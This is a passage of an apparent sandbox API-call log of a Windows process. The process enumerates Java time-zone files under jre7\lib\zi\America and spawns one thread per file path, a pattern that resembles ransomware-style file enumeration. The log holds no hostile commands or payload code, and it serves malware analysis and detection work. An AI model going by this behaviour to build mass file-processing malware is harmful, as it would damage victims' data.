1 [0189.405] wcscmp (_String1="Cuiaba", _String2=".") returned 1 [0189.405] wcscmp (_String1="Cuiaba", _String2="..") returned 1 [0189.405] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93bd38 [0189.405] wcscpy (in: _Dest=0x93bd38, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0189.405] wcscat (in: _Dest=0x93bd38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0189.405] wcscat (in: _Dest=0x93bd38, _Source="Cuiaba" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cuiaba") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cuiaba" [0189.405] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bd38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb54 [0189.406] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Curacao", cAlternateFileName="")) returned 1 [0189.406] wcscmp (_String1="Curacao", _String2=".") returned 1 [0189.406] wcscmp (_String1="Curacao", _String2="..") returned 1 [0189.406] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c620 [0189.406] wcscpy (in: _Dest=0x93c620, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0189.406] wcscat (in: _Dest=0x93c620, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0189.406] wcscat (in: _Dest=0x93c620, _Source="Curacao" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Curacao") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Curacao" [0189.406] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc90 [0189.407] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="Danmarkshavn", cAlternateFileName="DANMAR~1")) returned 1 [0189.407] wcscmp (_String1="Danmarkshavn", _String2=".") returned 1 [0189.408] wcscmp (_String1="Danmarkshavn", _String2="..") returned 1 [0189.408] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7a) returned 0x12c51380 [0189.408] wcscpy (in: _Dest=0x12c51380, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0189.408] wcscat (in: _Dest=0x12c51380, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0189.408] wcscat (in: _Dest=0x12c51380, _Source="Danmarkshavn" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Danmarkshavn") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Danmarkshavn" [0189.408] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c51380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa1c [0189.409] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x454, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dawson", cAlternateFileName="")) returned 1 [0189.409] wcscmp (_String1="Dawson", _String2=".") returned 1 [0189.409] wcscmp (_String1="Dawson", _String2="..") returned 1 [0189.409] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93bf18 [0189.409] wcscpy (in: _Dest=0x93bf18, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0189.409] wcscat (in: _Dest=0x93bf18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0189.409] wcscat (in: _Dest=0x93bf18, _Source="Dawson" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Dawson") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Dawson" [0189.409] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bf18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1444 [0189.410] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dawson_Creek", cAlternateFileName="DAWSON~1")) returned 1 [0189.410] wcscmp (_String1="Dawson_Creek", _String2=".") returned 1 [0189.410] wcscmp (_String1="Dawson_Creek", _String2="..") returned 1 [0189.410] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7a) returned 0x12c511e8 [0189.410] wcscpy (in: _Dest=0x12c511e8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0189.410] wcscat (in: _Dest=0x12c511e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0189.410] wcscat (in: _Dest=0x12c511e8, _Source="Dawson_Creek" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Dawson_Creek") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Dawson_Creek" [0189.410] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c511e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16f0 [0189.412] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x538, dwReserved0=0x0, dwReserved1=0x0, cFileName="Denver", cAlternateFileName="")) returned 1 [0189.412] wcscmp (_String1="Denver", _String2=".") returned 1 [0189.412] wcscmp (_String1="Denver", _String2="..") returned 1 [0189.412] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93c4b8 [0189.412] wcscpy (in: _Dest=0x93c4b8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0189.412] wcscat (in: _Dest=0x93c4b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0189.412] wcscat (in: _Dest=0x93c4b8, _Source="Denver" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Denver") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Denver" [0189.412] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c4b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeb8 [0189.413] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Detroit", cAlternateFileName="")) returned 1 [0189.413] wcscmp (_String1="Detroit", _String2=".") returned 1 [0189.413] wcscmp (_String1="Detroit", _String2="..") returned 1 [0189.413] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93bf90 [0189.413] wcscpy (in: _Dest=0x93bf90, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0189.413] wcscat (in: _Dest=0x93bf90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0189.413] wcscat (in: _Dest=0x93bf90, _Source="Detroit" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Detroit") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Detroit" [0189.413] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bf90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe8c [0189.415] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dominica", cAlternateFileName="")) returned 1 [0189.433] wcscmp (_String1="Dominica", _String2=".") returned 1 [0189.433] wcscmp (_String1="Dominica", _String2="..") returned 1 [0189.433] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8cfd80 [0189.433] wcscpy (in: _Dest=0x8cfd80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0189.433] wcscat (in: _Dest=0x8cfd80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0189.433] wcscat (in: _Dest=0x8cfd80, _Source="Dominica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Dominica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Dominica" [0189.433] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8cfd80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1228 [0189.434] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Edmonton", cAlternateFileName="")) returned 1 [0189.434] wcscmp (_String1="Edmonton", _String2=".") returned 1 [0189.434] wcscmp (_String1="Edmonton", _String2="..") returned 1 [0189.434] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0e00 [0189.434] wcscpy (in: _Dest=0x8d0e00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0189.434] wcscat (in: _Dest=0x8d0e00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0189.434] wcscat (in: _Dest=0x8d0e00, _Source="Edmonton" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Edmonton") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Edmonton" [0189.434] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1314 [0189.436] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x141, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eirunepe", cAlternateFileName="")) returned 1 [0189.436] wcscmp (_String1="Eirunepe", _String2=".") returned 1 [0189.436] wcscmp (_String1="Eirunepe", _String2="..") returned 1 [0189.436] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0800 [0189.436] wcscpy (in: _Dest=0x8d0800, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0189.436] wcscat (in: _Dest=0x8d0800, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0189.436] wcscat (in: _Dest=0x8d0800, _Source="Eirunepe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Eirunepe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Eirunepe" [0189.436] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1318 [0189.437] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x69, dwReserved0=0x0, dwReserved1=0x0, cFileName="El_Salvador", cAlternateFileName="EL_SAL~1")) returned 1 [0189.437] wcscmp (_String1="El_Salvador", _String2=".") returned 1 [0189.437] wcscmp (_String1="El_Salvador", _String2="..") returned 1 [0189.437] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0880 [0189.437] wcscpy (in: _Dest=0x8d0880, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0189.437] wcscat (in: _Dest=0x8d0880, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0189.437] wcscat (in: _Dest=0x8d0880, _Source="El_Salvador" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\El_Salvador") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\El_Salvador" [0189.437] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1424 [0189.438] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x179, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fortaleza", cAlternateFileName="FORTAL~1")) returned 1 [0189.438] wcscmp (_String1="Fortaleza", _String2=".") returned 1 [0189.438] wcscmp (_String1="Fortaleza", _String2="..") returned 1 [0189.438] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0680 [0189.439] wcscpy (in: _Dest=0x8d0680, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0189.439] wcscat (in: _Dest=0x8d0680, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0189.439] wcscat (in: _Dest=0x8d0680, _Source="Fortaleza" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Fortaleza") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Fortaleza" [0189.439] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa54 [0189.440] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Glace_Bay", cAlternateFileName="GLACE_~1")) returned 1 [0189.440] wcscmp (_String1="Glace_Bay", _String2=".") returned 1 [0189.440] wcscmp (_String1="Glace_Bay", _String2="..") returned 1 [0189.440] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0c80 [0189.440] wcscpy (in: _Dest=0x8d0c80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0189.440] wcscat (in: _Dest=0x8d0c80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0189.440] wcscat (in: _Dest=0x8d0c80, _Source="Glace_Bay" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Glace_Bay") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Glace_Bay" [0189.440] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1878 [0189.441] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Godthab", cAlternateFileName="")) returned 1 [0189.441] wcscmp (_String1="Godthab", _String2=".") returned 1 [0189.441] wcscmp (_String1="Godthab", _String2="..") returned 1 [0189.441] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93bcc0 [0189.441] wcscpy (in: _Dest=0x93bcc0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0189.441] wcscat (in: _Dest=0x93bcc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0189.441] wcscat (in: _Dest=0x93bcc0, _Source="Godthab" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Godthab") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Godthab" [0189.441] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bcc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19fc [0189.443] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Goose_Bay", cAlternateFileName="GOOSE_~1")) returned 1 [0189.443] wcscmp (_String1="Goose_Bay", _String2=".") returned 1 [0189.443] wcscmp (_String1="Goose_Bay", _String2="..") returned 1 [0189.443] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0d00 [0189.443] wcscpy (in: _Dest=0x8d0d00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0189.443] wcscat (in: _Dest=0x8d0d00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0189.443] wcscat (in: _Dest=0x8d0d00, _Source="Goose_Bay" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Goose_Bay") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Goose_Bay" [0189.443] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa14 [0189.446] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grand_Turk", cAlternateFileName="GRAND_~1")) returned 1 [0189.446] wcscmp (_String1="Grand_Turk", _String2=".") returned 1 [0189.446] wcscmp (_String1="Grand_Turk", _String2="..") returned 1 [0189.446] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8d0f00 [0189.446] wcscpy (in: _Dest=0x8d0f00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0189.447] wcscat (in: _Dest=0x8d0f00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0189.447] wcscat (in: _Dest=0x8d0f00, _Source="Grand_Turk" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Grand_Turk") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Grand_Turk" [0189.447] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1470 [0189.448] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grenada", cAlternateFileName="")) returned 1 [0189.448] wcscmp (_String1="Grenada", _String2=".") returned 1 [0189.448] wcscmp (_String1="Grenada", _String2="..") returned 1 [0189.448] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, 